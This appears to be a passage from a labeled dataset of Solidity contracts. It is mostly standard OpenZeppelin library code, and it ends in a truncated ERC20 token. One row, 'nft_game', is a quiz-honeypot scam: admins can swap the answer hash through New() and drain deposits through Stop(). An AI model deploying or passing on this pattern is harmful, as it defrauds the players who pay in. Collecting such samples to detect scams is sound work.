struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
function setInitialValue(Counter storage counter, uint256 value) internal{
counter._value = value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol"; | True | [
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|
contract nft_game
{
function Try(string memory _response) public payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
{
payable(msg.sender).transfer(address(this).balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string calldata _question, string calldata _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(abi.encode(_response));
question = _question;
}
}
function Stop() public payable isAdmin {
payable(msg.sender).transfer(address(this).balance);
}
function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] memory admins) {
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(abi.encodePacked(msg.sender))]);
_;
}
fallback() external {}
} | True | [
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pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
